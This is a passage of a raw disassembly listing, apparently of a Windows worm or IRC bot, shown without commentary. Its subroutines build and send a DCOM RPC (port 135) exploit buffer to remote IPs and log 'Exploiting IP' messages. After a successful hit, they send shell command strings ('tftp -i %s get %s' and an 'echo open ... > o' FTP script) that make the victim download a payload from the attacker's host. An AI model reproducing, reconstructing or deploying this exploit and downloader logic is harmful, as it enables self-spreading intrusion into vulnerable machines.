-4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx movzx eax, [ebp+arg_0] test eax, eax jz short loc_410C7F mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jnz short loc_410C81 loc_410C7F: ; CODE XREF: sub_410C66+Ej jmp short loc_410CE6 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410C66+17j mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B movzx eax, byte ptr [eax] test eax, eax jz short loc_410CAE mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B movzx eax, byte ptr [eax] cmp eax, 0FFh jnz short loc_410CC9 loc_410CAE: ; CODE XREF: sub_410C66+2Ej mov eax, [ebp+var_4] mov eax, [eax+0Ch] inc eax inc eax push eax mov eax, [ebp+var_4] mov eax, [eax+4] dec eax push eax mov ecx, [ebp+var_4] call sub_410F5A jmp short loc_410CE6 ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410C66+46j mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B mov [ebp+var_8], eax mov eax, [ebp+var_8] mov al, [eax] sub al, 1 mov ecx, [ebp+var_8] mov [ecx], al loc_410CE6: ; CODE XREF: sub_410C66:loc_410C7Fj ; sub_410C66+61j mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax+8], 0 mov eax, [ebp+var_4] and dword ptr [eax+0Ch], 0 leave retn 4 sub_410C66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CFF proc near ; CODE XREF: sub_410AE1+17p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 1 push [ebp+arg_4] mov ecx, [ebp+var_4] call sub_410B3E movzx eax, al test eax, eax jz short loc_410D39 push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call sub_410976 add esp, 0Ch push [ebp+arg_4] mov ecx, [ebp+var_4] call sub_410B01 loc_410D39: ; CODE XREF: sub_410CFF+19j mov eax, [ebp+var_4] leave retn 8 sub_410CFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410D40 proc near ; CODE XREF: sub_41098C+4Fp ; sub_41098C+5Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov eax, [eax+8] cmp eax, [ebp+arg_0] jnb short loc_410D58 call sub_43D280 loc_410D58: ; CODE XREF: sub_410D40+11j mov ecx, [ebp+var_8] call sub_410F6E mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_410D7A mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] mov [ebp+arg_4], eax loc_410D7A: ; CODE XREF: sub_410D40+2Cj cmp [ebp+arg_4], 0 jbe short loc_410DD7 mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] sub eax, [ebp+arg_4] push eax mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] push eax call sub_410DDE add esp, 0Ch mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_4] mov [ebp+var_4], eax push 0 push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B3E movzx eax, al test eax, eax jz short loc_410DD7 push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B01 loc_410DD7: ; CODE XREF: sub_410D40+3Ej ; sub_410D40+8Aj mov eax, [ebp+var_8] leave retn 8 sub_410D40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DDE proc near ; CODE XREF: sub_410D40+64p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4237A0 add esp, 0Ch pop ebp retn sub_410DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DF4 proc near ; CODE XREF: sub_410B3E+Bp ; sub_410E33+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx mov ecx, [ebp+var_8] call sub_410FE3 mov [ebp+var_4], eax cmp [ebp+var_4], 2 ja short loc_410E17 mov [ebp+var_C], 1 jmp short loc_410E1F ; --------------------------------------------------------------------------- loc_410E17: ; CODE XREF: sub_410DF4+18j mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_C], eax loc_410E1F: ; CODE XREF: sub_410DF4+21j mov eax, [ebp+var_C] leave retn sub_410DF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E24 proc near ; CODE XREF: sub_41098C+D9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+0Ch] leave retn sub_410E24 endp ; =============== S U B R O U T I N E ======================================= sub_410E33 proc near ; CODE XREF: sub_410B3E+8Ap ; sub_410B3E+F3p ... mov eax, offset loc_43DBF8 call sub_423780 push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp-10h], esp mov [ebp-20h], ecx mov eax, [ebp+8] or al, 1Fh mov [ebp-1Ch], eax mov ecx, [ebp-20h] call sub_410DF4 cmp eax, [ebp-1Ch] jnb short loc_410E65 mov eax, [ebp+8] mov [ebp-1Ch], eax loc_410E65: ; CODE XREF: sub_410E33+2Aj and dword ptr [ebp-4], 0 push 0 mov eax, [ebp-1Ch] inc eax inc eax push eax mov ecx, [ebp-20h] call sub_410FCC mov [ebp-24h], eax mov eax, [ebp-24h] mov [ebp-18h], eax jmp short loc_410EA3 ; --------------------------------------------------------------------------- loc_410E84: ; DATA XREF: .XComp0:0044034Co mov eax, [ebp+8] mov [ebp-1Ch], eax push 0 mov eax, [ebp-1Ch] inc eax inc eax push eax mov ecx, [ebp-20h] call sub_410FCC mov [ebp-18h], eax mov eax, offset loc_410EA3 retn ; --------------------------------------------------------------------------- loc_410EA3: ; CODE XREF: sub_410E33+4Fj ; DATA XREF: sub_410E33+6Ao or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-20h] cmp dword ptr [eax+8], 0 jbe short loc_410EE2 mov eax, [ebp-20h] mov eax, [eax+8] cmp eax, [ebp-1Ch] jbe short loc_410EC3 mov eax, [ebp-1Ch] mov [ebp-28h], eax jmp short loc_410ECC ; --------------------------------------------------------------------------- loc_410EC3: ; CODE XREF: sub_410E33+86j mov eax, [ebp-20h] mov eax, [eax+8] mov [ebp-28h], eax loc_410ECC: ; CODE XREF: sub_410E33+8Ej push dword ptr [ebp-28h] mov eax, [ebp-20h] push dword ptr [eax+4] mov eax, [ebp-18h] inc eax push eax call sub_410976 add esp, 0Ch loc_410EE2: ; CODE XREF: sub_410E33+7Bj mov eax, [ebp-20h] mov eax, [eax+8] mov [ebp-14h], eax push 1 mov ecx, [ebp-20h] call sub_410C66 mov eax, [ebp-18h] inc eax mov ecx, [ebp-20h] mov [ecx+4], eax mov eax, [ebp-20h] push dword ptr [eax+4] mov ecx, [ebp-20h] call sub_410F4B and byte ptr [eax], 0 mov eax, [ebp-20h] mov ecx, [ebp-1Ch] mov [eax+0Ch], ecx mov eax, [ebp-14h] cmp eax, [ebp-1Ch] jbe short loc_410F29 mov eax, [ebp-1Ch] mov [ebp-2Ch], eax jmp short loc_410F2F ; --------------------------------------------------------------------------- loc_410F29: ; CODE XREF: sub_410E33+ECj mov eax, [ebp-14h] mov [ebp-2Ch], eax loc_410F2F: ; CODE XREF: sub_410E33+F4j push dword ptr [ebp-2Ch] mov ecx, [ebp-20h] call sub_410B01 mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_410E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F4B proc near ; CODE XREF: sub_41098C+8Dp ; sub_41098C+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] dec eax leave retn 4 sub_410F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F5A proc near ; CODE XREF: sub_410C66+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_0] call sub_423AE0 pop ecx leave retn 8 sub_410F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F6E proc near ; CODE XREF: sub_410D40+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short locret_410FCA mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_410F4B movzx eax, byte ptr [eax] test eax, eax jz short locret_410FCA mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_410F4B movzx eax, byte ptr [eax] cmp eax, 0FFh jz short locret_410FCA mov eax, [ebp+var_8] mov eax, [eax+4] mov [ebp+var_4], eax push 1 mov ecx, [ebp+var_8] call sub_410C66 push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410AE1 locret_410FCA: ; CODE XREF: sub_410F6E+Fj ; sub_410F6E+24j ... leave retn sub_410F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FCC proc near ; CODE XREF: sub_410E33+41p ; sub_410E33+62p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push [ebp+arg_0] call sub_411011 pop ecx pop ecx leave retn 8 sub_410FCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FE3 proc near ; CODE XREF: sub_410DF4+Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_4], 0 jbe short loc_410FFE mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp short loc_411005 ; --------------------------------------------------------------------------- loc_410FFE: ; CODE XREF: sub_410FE3+11j mov [ebp+var_C], 1 loc_411005: ; CODE XREF: sub_410FE3+19j mov eax, [ebp+var_C] leave retn sub_410FE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41100A proc near ; CODE XREF: sub_41098C+A2p push ebp mov ebp, esp mov al, 1 pop ebp retn sub_41100A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411011 proc near ; CODE XREF: sub_410FCC+Cp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jge short loc_41101E and [ebp+arg_0], 0 loc_41101E: ; CODE XREF: sub_411011+7j push [ebp+arg_0] call sub_423B90 pop ecx pop ebp retn sub_411011 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411029 proc near ; CODE XREF: sub_41073A+3p ; sub_43D3C0+3p push ebp mov ebp, esp movzx eax, byte_4E9578 and eax, 1 test eax, eax jnz short loc_411046 mov al, byte_4E9578 or al, 1 mov byte_4E9578, al loc_411046: ; CODE XREF: sub_411029+Fj pop ebp retn sub_411029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411048 proc near ; DATA XREF: sub_410749+3o ; sub_43D3E0+3o push ebp mov ebp, esp pop ebp retn sub_411048 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41104D proc near ; CODE XREF: sub_40DF24+1E4p ; .XComp0:0040EF3Ep ; DATA XREF: ... var_523C = dword ptr -523Ch var_5238 = word ptr -5238h var_5236 = word ptr -5236h var_5234 = dword ptr -5234h var_5228 = byte ptr -5228h var_5028 = byte ptr -5028h var_5004 = byte ptr -5004h var_4DF4 = byte ptr -4DF4h var_4DF0 = byte ptr -4DF0h var_4028 = byte ptr -4028h var_3028 = dword ptr -3028h var_3024 = dword ptr -3024h var_3020 = dword ptr -3020h var_301C = dword ptr -301Ch var_3018 = dword ptr -3018h var_3014 = dword ptr -3014h var_3010 = byte ptr -3010h var_2010 = dword ptr -2010h var_200C = byte ptr -200Ch var_200A = byte ptr -200Ah var_100C = dword ptr -100Ch var_1008 = byte ptr -1008h var_CA8 = byte ptr -0CA8h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 523Ch call sub_421EE0 and [ebp+var_8], 0 and [ebp+var_3028], 0 and [ebp+var_100C], 0 and [ebp+var_3024], 0 and [ebp+var_3020], 0 and [ebp+var_301C], 0 push 1 lea eax, [ebp+arg_4] push eax call sub_419E40 pop ecx pop ecx mov [ebp+var_2010], eax cmp [ebp+var_2010], 0 jz short loc_4110A6 cmp [ebp+var_2010], 1 jnz short loc_4110AD loc_4110A6: ; CODE XREF: sub_41104D+4Ej xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_4110AD: ; CODE XREF: sub_41104D+57j push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4110C9 xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_41104D+73j push 10h push 0 lea eax, [ebp+var_5238] push eax call sub_421410 add esp, 0Ch mov [ebp+var_5238], 2 push [ebp+arg_A0] call dword_4E1700 ; ntohs mov [ebp+var_5236], ax lea eax, [ebp+arg_4] push eax call dword_4E1740 ; inet_addr mov [ebp+var_5234], eax push offset byte_4410E8 push [ebp+arg_0] call sub_40C86E pop ecx push eax push 1000h lea eax, [ebp+var_3010] push eax call sub_40D0B6 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41113B xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_41113B: ; CODE XREF: sub_41104D+E5j push 122h push offset aS_19 ; "è" push 1000h lea eax, [ebp+var_4028] push eax call sub_40D17A add esp, 10h mov [ebp+var_3028], eax push 25Ch push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\" mov eax, [ebp+var_100C] lea eax, [ebp+eax+var_5028] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_100C] add eax, 25Ch mov [ebp+var_100C], eax push [ebp+var_3028] lea eax, [ebp+var_4028] push eax lea eax, [ebp+var_5004] push eax call sub_422B50 add esp, 0Ch push [ebp+var_8] lea eax, [ebp+var_3010] push eax lea eax, [ebp+var_5004] push eax call sub_422B50 add esp, 0Ch push 4 push (offset loc_44A4DB+1) lea eax, [ebp+var_4DF4] push eax call sub_422B50 add esp, 0Ch push 4 push (offset loc_44A4D7+1) lea eax, [ebp+var_4DF0] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_100C] mov [ebp+var_3020], eax and [ebp+var_100C], 0 lea eax, [ebp+var_CA8] mov [ebp+var_523C], eax mov eax, [ebp+var_3020] cdq sub eax, edx sar eax, 1 mov ecx, [ebp+var_523C] mov ecx, [ecx] add ecx, eax mov eax, [ebp+var_523C] mov [eax], ecx mov eax, [ebp+var_3020] cdq sub eax, edx sar eax, 1 mov ecx, [ebp+var_523C] mov ecx, [ecx+8] add ecx, eax mov eax, [ebp+var_523C] mov [eax+8], ecx lea eax, [ebp+var_1008] mov [ebp+var_523C], eax mov eax, [ebp+var_523C] mov eax, [eax+8] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+8], eax mov eax, [ebp+var_523C] mov eax, [eax+10h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+10h], eax mov eax, [ebp+var_523C] mov eax, [eax+80h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+80h], eax mov eax, [ebp+var_523C] mov eax, [eax+84h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+84h], eax mov eax, [ebp+var_523C] mov eax, [eax+0B4h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+0B4h], eax mov eax, [ebp+var_523C] mov eax, [eax+0B8h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+0B8h], eax mov eax, [ebp+var_523C] mov eax, [eax+0D0h] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+0D0h], eax mov eax, [ebp+var_523C] mov eax, [eax+18Ch] mov ecx, [ebp+var_3020] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_523C] mov [ecx+18Ch], eax push 10h lea eax, [ebp+var_5238] push eax push [ebp+var_4] call dword_4E16A8 ; connect mov [ebp+var_3014], eax cmp [ebp+var_3014], 0FFFFFFFFh jnz short loc_41138D push [ebp+var_4] call dword_4E1798 ; closesocket xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_41138D: ; CODE XREF: sub_41104D+32Ej push 0 push 48h push offset dword_449E44 push [ebp+var_4] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_4113B4 push [ebp+var_4] call dword_4E1798 ; closesocket xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_4113B4: ; CODE XREF: sub_41104D+355j push 0 push 1000h lea eax, [ebp+var_200C] push eax push [ebp+var_4] call dword_4E1718 ; recv movsx eax, [ebp+var_200A] cmp eax, 0Ch jz short loc_4113E7 push [ebp+var_4] call dword_4E1798 ; closesocket xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_4113E7: ; CODE XREF: sub_41104D+388j push 0 push [ebp+var_301C] lea eax, [ebp+var_1008] push eax push [ebp+var_4] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411414 push [ebp+var_4] call dword_4E1798 ; closesocket xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_411414: ; CODE XREF: sub_41104D+3B5j push 0 push 1000h lea eax, [ebp+var_200C] push eax push [ebp+var_4] call dword_4E1718 ; recv movsx eax, [ebp+var_200A] cmp eax, 3 jnz short loc_411447 push [ebp+var_4] call dword_4E1798 ; closesocket xor eax, eax jmp locret_41152B ; --------------------------------------------------------------------------- loc_411447: ; CODE XREF: sub_41104D+3E8j push [ebp+var_4] call dword_4E1798 ; closesocket lea eax, [ebp+arg_4] push eax push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... lea eax, [ebp+var_5228] push eax call sub_4219C0 add esp, 0Ch and [ebp+var_3018], 0 jmp short loc_41147E ; --------------------------------------------------------------------------- loc_411471: ; CODE XREF: sub_41104D+4D6j mov eax, [ebp+var_3018] inc eax mov [ebp+var_3018], eax loc_41147E: ; CODE XREF: sub_41104D+422j cmp [ebp+var_3018], 6 jge loc_411528 lea eax, [ebp+var_5228] push eax call sub_4175F6 pop ecx test eax, eax jz short loc_411518 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_5228] push eax call sub_4219C0 add esp, 10h cmp [ebp+arg_B4], 0 jnz short loc_4114EA push 0 push [ebp+arg_B0] lea eax, [ebp+var_5228] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_40B00F add esp, 14h loc_4114EA: ; CODE XREF: sub_41104D+47Dj lea eax, [ebp+var_5228] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_A8] shl eax, 6 mov eax, dword_448FF0[eax] inc eax mov ecx, [ebp+arg_A8] shl ecx, 6 mov dword_448FF0[ecx], eax jmp short loc_411528 ; --------------------------------------------------------------------------- loc_411518: ; CODE XREF: sub_41104D+44Dj push 1388h nop call near ptr 27A0000h jmp loc_411471 ; --------------------------------------------------------------------------- loc_411528: ; CODE XREF: sub_41104D+438j ; sub_41104D+4C9j push 1 pop eax locret_41152B: ; CODE XREF: sub_41104D+5Bj ; sub_41104D+77j ... leave retn sub_41104D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41152D proc near ; CODE XREF: sub_4116B3+5A1p var_5A8 = byte ptr -5A8h var_418 = byte ptr -418h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A8h push 10h push 0 lea eax, [ebp+var_10] push eax call sub_421410 add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+arg_4] push eax call dword_4E1740 ; inet_addr mov [ebp+var_C], eax mov ax, word_44AE18 push eax call dword_4E1700 ; ntohs mov [ebp+var_E], ax push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_411586 xor al, al jmp locret_4116B1 ; --------------------------------------------------------------------------- loc_411586: ; CODE XREF: sub_41152D+50j push 10h lea eax, [ebp+var_10] push eax push [ebp+var_14] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4115A1 xor al, al jmp locret_4116B1 ; --------------------------------------------------------------------------- loc_4115A1: ; CODE XREF: sub_41152D+6Bj push 0 push 400h lea eax, [ebp+var_418] push eax push [ebp+var_14] call dword_4E1718 ; recv mov [ebp+var_18], eax push offset byte_4410E8 push offset byte_4410E8 push [ebp+arg_0] call sub_40C86E pop ecx push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" push 190h lea eax, [ebp+var_5A8] push eax call sub_421B90 add esp, 18h push dword_4E1418 push [ebp+arg_0] call sub_40C86E pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... push 190h lea eax, [ebp+var_5A8] push eax call sub_421B90 add esp, 14h push 0 lea eax, [ebp+var_5A8] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_5A8] push eax push [ebp+var_14] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_41163A xor al, al jmp short locret_4116B1 ; --------------------------------------------------------------------------- loc_41163A: ; CODE XREF: sub_41152D+107j push 1F4h nop call near ptr 27A0000h push offset byte_4410E8 push offset aS_20 ; "%s\r\n" push 190h lea eax, [ebp+var_5A8] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_5A8] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_5A8] push eax push [ebp+var_14] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_41168C xor al, al jmp short locret_4116B1 ; --------------------------------------------------------------------------- loc_41168C: ; CODE XREF: sub_41152D+159j push 0 push 400h lea eax, [ebp+var_418] push eax push [ebp+var_14] call dword_4E1718 ; recv mov [ebp+var_18], eax push [ebp+var_14] call dword_4E1798 ; closesocket mov al, 1 locret_4116B1: ; CODE XREF: sub_41152D+54j ; sub_41152D+6Fj ... leave retn sub_41152D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116B3 proc near ; CODE XREF: .XComp0:00411DE8p ; .XComp0:00411E1Bp ... var_89C8 = dword ptr -89C8h var_89C4 = byte ptr -89C4h var_8954 = byte ptr -8954h var_7E90 = byte ptr -7E90h var_68EC = word ptr -68ECh var_68E8 = byte ptr -68E8h var_62A8 = byte ptr -62A8h var_62A7 = byte ptr -62A7h var_5214 = byte ptr -5214h var_4750 = byte ptr -4750h var_474F = byte ptr -474Fh var_474C = dword ptr -474Ch var_4748 = dword ptr -4748h var_4744 = dword ptr -4744h var_4740 = byte ptr -4740h var_46A0 = byte ptr -46A0h var_3F94 = dword ptr -3F94h var_3F84 = byte ptr -3F84h var_3F70 = byte ptr -3F70h var_3F6C = dword ptr -3F6Ch var_3F68 = byte ptr -3F68h var_3F64 = byte ptr -3F64h var_3EE8 = byte ptr -3EE8h var_3718 = byte ptr -3718h var_326D = byte ptr -326Dh var_2F80 = byte ptr -2F80h var_2F18 = byte ptr -2F18h var_EA8 = dword ptr -0EA8h var_EA4 = dword ptr -0EA4h var_EA0 = byte ptr -0EA0h var_6BC = byte ptr -6BCh var_6AC = byte ptr -6ACh var_388 = byte ptr -388h var_384 = byte ptr -384h var_378 = byte ptr -378h var_F0 = byte ptr -0F0h var_ED = byte ptr -0EDh var_C3 = byte ptr -0C3h var_C1 = byte ptr -0C1h var_C0 = byte ptr -0C0h var_78 = byte ptr -78h var_77 = byte ptr -77h var_28 = byte ptr -28h arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89C8h call sub_421EE0 push esi push edi and [ebp+var_89C8], 0 mov eax, dword_44AF98 mov [ebp+var_4748], eax mov eax, dword_44AF9C mov [ebp+var_4744], eax and [ebp+var_EA8], 0 lea eax, [ebp+arg_4] push eax push offset dword_44AFA0 lea eax, [ebp+var_28] push eax call sub_4219C0 add esp, 0Ch and [ebp+var_3F6C], 0 jmp short loc_411711 ; --------------------------------------------------------------------------- loc_411704: ; CODE XREF: sub_4116B3+86j mov eax, [ebp+var_3F6C] inc eax mov [ebp+var_3F6C], eax loc_411711: ; CODE XREF: sub_4116B3+4Fj cmp [ebp+var_3F6C], 28h jge short loc_41173B mov eax, [ebp+var_3F6C] mov ecx, [ebp+var_3F6C] mov cl, [ebp+ecx+var_28] mov [ebp+eax*2+var_78], cl mov eax, [ebp+var_3F6C] and [ebp+eax*2+var_77], 0 jmp short loc_411704 ; --------------------------------------------------------------------------- loc_41173B: ; CODE XREF: sub_4116B3+65j push 60h push offset dword_44AA28 lea eax, [ebp+var_F0] push eax call sub_422B50 add esp, 0Ch lea eax, [ebp+var_28] push eax call sub_41EBD0 pop ecx shl eax, 1 push eax lea eax, [ebp+var_78] push eax lea eax, [ebp+var_C0] push eax call sub_422B50 add esp, 0Ch push 9 push (offset aC_3+3) lea eax, [ebp+var_28] push eax call sub_41EBD0 pop ecx lea eax, [ebp+eax*2+var_C1] push eax call sub_422B50 add esp, 0Ch lea eax, [ebp+var_28] push eax call sub_41EBD0 pop ecx movsx eax, al lea eax, [eax+eax+34h] mov [ebp+var_3F68], al push 1 lea eax, [ebp+var_3F68] push eax lea eax, [ebp+var_ED] push eax call sub_422B50 add esp, 0Ch lea eax, [ebp+var_28] push eax call sub_41EBD0 pop ecx movsx eax, al lea eax, [eax+eax+9] mov [ebp+var_3F70], al push 1 lea eax, [ebp+var_3F70] push eax lea eax, [ebp+var_C3] push eax call sub_422B50 add esp, 0Ch mov ax, word_44AE18 push eax call dword_4E1700 ; ntohs movzx eax, ax xor eax, 9999h mov [ebp+var_68EC], ax push 2 lea eax, [ebp+var_68EC] push eax push offset dword_44A728 call sub_422B50 add esp, 0Ch mov [ebp+var_EA4], offset loc_44A678 cmp [ebp+arg_C0], 0 jz loc_411974 push 0DACh push 90h lea eax, [ebp+var_EA0] push eax call sub_421410 add esp, 0Ch push 4 mov eax, [ebp+arg_C0] imul eax, 3Ch add eax, offset dword_44AE58 push eax lea eax, [ebp+var_6BC] push eax call sub_422B50 add esp, 0Ch push [ebp+var_EA4] call sub_41EBD0 pop ecx push eax push [ebp+var_EA4] lea eax, [ebp+var_6AC] push eax call sub_422B50 add esp, 0Ch push 4 push offset loc_44AFAC lea eax, [ebp+var_388] push eax call sub_422B50 add esp, 0Ch push 4 mov eax, [ebp+arg_C0] imul eax, 3Ch add eax, offset dword_44AE58 push eax lea eax, [ebp+var_384] push eax call sub_422B50 add esp, 0Ch push [ebp+var_EA4] call sub_41EBD0 pop ecx push eax push [ebp+var_EA4] lea eax, [ebp+var_378] push eax call sub_422B50 add esp, 0Ch and [ebp+var_3F6C], 0 jmp short loc_411902 ; --------------------------------------------------------------------------- loc_4118F5: ; CODE XREF: sub_4116B3+283j mov eax, [ebp+var_3F6C] inc eax mov [ebp+var_3F6C], eax loc_411902: ; CODE XREF: sub_4116B3+240j cmp [ebp+var_3F6C], 0DACh jge short loc_411938 mov eax, [ebp+var_3F6C] mov ecx, [ebp+var_3F6C] mov cl, [ebp+ecx+var_EA0] mov [ebp+eax*2+var_62A8], cl mov eax, [ebp+var_3F6C] and [ebp+eax*2+var_62A7], 0 jmp short loc_4118F5 ; --------------------------------------------------------------------------- loc_411938: ; CODE XREF: sub_4116B3+259j and [ebp+var_4750], 0 and [ebp+var_474F], 0 push 1C52h push 31h lea eax, [ebp+var_2F80] push eax call sub_421410 add esp, 0Ch push 1C52h push 31h lea eax, [ebp+var_89C4] push eax call sub_421410 add esp, 0Ch jmp short loc_4119E8 ; --------------------------------------------------------------------------- loc_411974: ; CODE XREF: sub_4116B3+180j push 7D0h push 90h lea eax, [ebp+var_4740] push eax call sub_421410 add esp, 0Ch push [ebp+var_EA4] call sub_41EBD0 pop ecx push eax push 